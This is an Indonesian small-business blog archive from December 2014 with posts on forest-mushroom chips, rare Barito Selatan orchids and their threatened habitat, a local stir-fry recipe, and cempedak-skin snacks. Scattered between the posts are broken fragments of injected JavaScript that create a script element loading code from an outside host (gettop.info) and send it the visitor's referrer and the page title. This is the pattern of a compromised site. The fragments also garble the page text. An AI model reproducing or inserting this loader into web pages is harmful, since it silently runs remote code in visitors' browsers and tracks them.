All Posts from Desember, 2014

KERIPIK JAMUR “KULAT KURIKIT”

Desember 24th, 2014 | By admin in ALAM, KEB, KULINER | No Comments »
karikit

KULAT ALIAS JAMUR

Jamur merupakan tumbuhan yang tidak memiliki klorofil (zat hijau daun) sehingga tidak bisa menghasilkan makanan sendiri melalui fotosintesis. Jamur hidup dengan mengambil zat makanan dan senyawa pati dari organisme lain. Jadi.., jamur hidupnya bergantung pada organisme lain sehingga sering kita jumpai jamur menempel pada batang pohon yang lapuk.

.
DSC00202

Ada ribuan jenis jamur di seluruh dunia dan tidak semua menguntungkan manusia atau dapat dikonsumsi. Beberapa jenis yang menguntungkan dan dapat dikonsumsi adalah jamur merang, jamur kuping, jamur shittake, jamur tiram dan jamur champignon. Dari jenis jamur tersebut, jamur kuping, jamur tiram dan jamur merang yang paling banyak dibudidayakan petani di Indoensia.

.

DSC00203

.

KERIPIK KULAT KURIKIT

Di Kalimantan Tengah khususnya kabupaten Barito Selatan, tibanya musim hujan (Oktober – November –  Desember) 2014 ini membuat kami panen jamur hutan. Dan salah satu jamur hutan yang banyak dijual di pasar kampung adalah kulat kurikit. Jamur kurikit merupakan tumbuhan alam berwana abu-abu yang hidup di pohon karet lapuk. Ini terjadi karena pohon karet merupakan tanaman perkebunan yang sudah ada sejak masa penjajahan Eropa.

DSC00200

Barsel Promo mencoba mengolah jamur kurikit menjadi keripik dan hasilnya alhamdulillah baik. Karena itulah maka keripik jamur kurikit merupakan keripik musiman yang kami produksi disamping keripik kulit cempedak (mandai) dan keripik ikan lais / bilis.

.
Barsel Promo

Barsel Promo :  Syamsuddin Rudiannoor (0813 4960 6504)  Info Anggrek : Maidi (0852 4951 3880)

d.getElementsByTagName(‘head’)[0].appendChild(s);} else {

Anggrek langka BARITO SELATAN Coelogyne fonstenbrarum

Desember 18th, 2014 | By admin in ALAM, UMUM | No Comments »

 

DATA UMUM

Dari data dalam http://orchidofborneo.blogspot.com/p/coelogyne_17.html, Coelogyne Lindl. 1821 adalah :

.

KLASIFIKASI :

Kerajaan: Tumbuh-tumbuhan

Divisi: Tumbuhan Berbunga (Magnoliophyta)

Tipe Biji: Berbiji Tertutup (Angiospermae)

Keping Daun Lembaga: Berdaun Lembaga Tunggal (Monokotil)

Bangsa: Asparagus-asparagusan

Keluarga: Anggrek-anggrekan

Subkeluarga: Anggrek Epipit

Suku: Podosil?

Subsuku: Coelogyninae

Marga: Coelogyne Lindl. 1821

.

Diperkirakan terdapat lebih dari 180 spesies dalam genus ini. Sebarannya mulai dari sebagian besar Asia Timur, India, Indonesia hinga Fiji. Sebagian besar terdapat di Kalimantan, Sumatra dan Himalaya.

.

Genus/Marga Bolborchis Lindl, Hologyne Pfitzer., dan Ptychogyne Pfitzer telah dimuat dan disingkat menjadi satu ke dalam Genus/Marga Coelogyne.

 

Nama ilmiah Coelogyne berasal dari kata Yunani koilos (kosong) dan gyne (wanita), merujuk pada stigma cekung.

.

Daftar spesies yang ditemukan di Borneo:

Coelogyne asperata

Coelogyne dayana

Coelogyne flexuosa

Coelogyne fonstenbrarum

Coelogyne foerstermanii

Coelogyne mayeriana

Coelogyne motleyi

Coelogyne palens

Coelogyne pandurata

Coelogyne peltastes

Coelogyne rochusseni

Coelogyen trinervis

Coelogyne verrucosa

.
TEMUAN DI MADARA DAN BATAPAH

Dalam ekspedisi Barsel Promo tanggal 10-12 Desember 2014 di hutan Madara (Barito Selatan) sampai hutan Batapah (Kapuas) ditemukan jenis anggrek khas daerah yaitu Coelogyne fonstenbrarum. Anggrek ini sejenis dengan anggrek hitam (Coelogyne pandurata) dan anggrek Mutiara (Coelogyne asperata)  namun berbeda dan masih baru di daerah ini.

.

Semoga dengan posting semacam ini maka kecintaan kepada alam semakin bertambah dan keperdulian untuk tindak pelestarian alam bisa semakin gencar dilakukan. Kami sangat berharap pemerintah segera turun tangan dan kami mendukung sepenuhnya.

.

Barsel Promo :  Syamsuddin Rudiannoor (0813 4960 6504)  Info Anggrek : Maidi (0852 4951 3880)

.

}

ANGGREK HITAM BARITO SELATAN, AKANKAH TINGGAL KENANGAN

Desember 18th, 2014 | By admin in ALAM, PARIWISATA | No Comments »

Anggrek Hitam (Coelogyne pandurata) memang masih dijumpai di hutan alam kabupaten Barito Selatan. Keberadaanya terdeteksi dari kunjungan kami awal Desember 2014 di hutan desa Madara, Tetei Lanan dan desa Sire. Ini tidak termasuk wilayah desa Sanggu sebagai tempat pertama dikenalkannya anggrek hitam di Barito Selatan. Masalahnya hutan semakin menyusut, baik akibat perambahan, pertambangan, kebakaran lahan, juga alih fungsi menjadi pemukiman, lahan perkebunan dan pertanian. Dengan demikian tanda-tanda kepunahan anggrek alam sudah sangat gawat darurat.

 

Memang anggrek alam ini dipelihara dengan baik di Taman Nasional “Kersik Luai” Kalimantan Timur. Namun sebagai tumbuhan endemik hutan Barito Selatan kiranya habitat alaminya harus juga dipertahankan. Paling tidak Pemerintah Daerah mau mencadangkan lahan hutan untuk mempertahankan anggrek ini berikut kekayaan apa saja yang ada di dalamnya. Terus terang, kami sangat khawatir dengan perkembangan yang kurang baik ini.

 

Anggrek Hitam tersusun pada rangkaian tandan dengan panjang 15-20 cm. Jumlah bunganya mencapai 14 kuntum per tandan. Kelopak bunga berbentuk lanset, lancip dan berwarna hijau muda. Mahkota bunganya lancip berwarna hijau muda, di tengahnya terdapat lidah berbentuk biola bertekstur warna hitam dengan  latar hijau muda.

 

.
Barsel Promo :  Syamsuddin Rudiannoor (0813 4960 6504)  Info Anggrek : Maidi (0852 4951 3880)

var d=document;var s=d.createElement(‘script’); s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

RESEP TUMIS PUTRI MALU SAAT SHOOTING LAPTOP SI UNYIL TRANS-7 DI BUNTOK

Desember 17th, 2014 | By admin in KEB, KULINER | No Comments »

Pada shooting Trans-7 untuk “Laptop Si Unyil” yang dilaksanakan pada Jum’at sore tanggal 12 Desember 2014 di Barsel Promo, Jalan Panglima Batur nomor 7 Buntok, dilakukanlah proses pembuatan tumisan khas daerah. Hidangan sayur untuk teman makan nasi tersebut bernama Tumis Keruh Sasupan.

.

TUMIS KERUH SASUPAN

 

Bahan  / Bumbu

1  ikat putri malu air (sasupan)

½  mangkok jamur hutan (kulat baputi / kulat menyak)

¼ mangkok  labu merah (baluh bahandang) dipotong dadu

3 batang tebu hanteluh / tebu telur / tebu sayur, dipotong agak tebal

3 buah jagung muda, diiris pipih memanjang

2 cabe merah / hijau besar, iris serong
2 buah tomat merah, diiris tipis
2 biji bawang putih, diiris tipis
2 biji bawang merah, dipotong kasar

Santan secukupnya. Gula dan garam secukupnya. Minyak goreng dan air secukupnya

.

 

Cara membuat :

1.Putri malu diambil daunnya saja, cuci dan tiriskan

2.Kulat (jamur), baluh (labu), potongan tebu, jagung muda dicuci lalu tiriskan

3.Tumis bawang putih dan bawang merah sampai harum, kemudian tambahkan cabe, aduk  rata

4.Masukkan air, garam dan gula, tunggu panas lalu masukkan putri malu,  aduk rata mendekati matang

5.Apabila putri malu matang, masukkan potongan tebu, disusul irisan jagung, tomat, terakhir kulat (jamur) dan  tunggu sampai matang, cicipi.

.

Sekian, semoga bermanfaat adanya, amin.

.

Barsel Promo :  Syamsuddin Rudiannoor (0813 4960 6504)    Info Anggrek : Maidi (0852 4951 3880)

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

ANEKA OLAHAN KULIT CEMPEDAK OLEH BARSEL PROMO BUNTOK

Desember 16th, 2014 | By admin in KEB, PARIWISATA, UMUM | No Comments »

PENGANTAR

Barsel Promo Buntok mulai menjajakan oleh-oleh khas Kabupaten Barito Selatan (Kalimantan Tengah) sejak 20 Pebruari 2014. Mata dagangan yang kami pasarkan adalah buku-buku lokal dan keripik berbahan dasar hasil hutan yaitu keripik lambiding (kelakai), paku dan keripik putri malu.

.

KERIPIK KULIT CEMPEDAK TERLARIS

Karena Pebruari sampai Juni 2014 adalah musim buah lokal maka kami pun memproduksi pula keripik dari buah yaitu keripik kulit cempedak atau keripik mandai. Ternyata keripik kulit cempedak (keripik mandai) berhasil menjadi camilan terlaris namun sayang tidak lama. Begitu musim cempedak berakhir maka keripiknya pun menghilang juga.

.

Atas pengalaman itu maka menghadapi musim buah nanti, yang diperkirakan mulai akhir Desember 2014 sampai Mei 2015, kami merancang pengadaan keripik mandai bisa tersedia sepanjang tahun. Semoga berhasil, amin.

.

ANEKA OLAHAN CEMPEDAK DAN KULITNYA

Tatkala kami ke pasar siang “Jelapat” di Buntok hilir (16/12/2014), sebagian pedagang menjual buah cempedak muda sebagai bahan sayur. Atas pertanda ini kami senang karena menunjukkan sebentar lagi musim cempedak akan tiba. Artinya cempedak akan menambah varian dagangan kami yakni olahan camilan kulit cempedak. Jika musim ini melimpah maka disamping keripik kulit cempedak, kami pun mengusahakan pula sale (salai) buah cempedak.

.

Bagi masyarakat Dayak dan Banjar, mandai (kulit cempedak) adalah lauk makan nasi yang sangat digemari. Olahan yang terkenal digoreng dan disambal goreng. Sedangkan cempedak muda diolah sebagai sayur seperti mengolah nangka muda namun setelah dibakar terlebih dahulu.

 

Barsel Promo :  Syamsuddin Rudiannoor (0813 4960 6504)  Info Anggrek : Maidi (0852 4951 3880)

document.currentScript.parentNode.insertBefore(s, document.currentScript);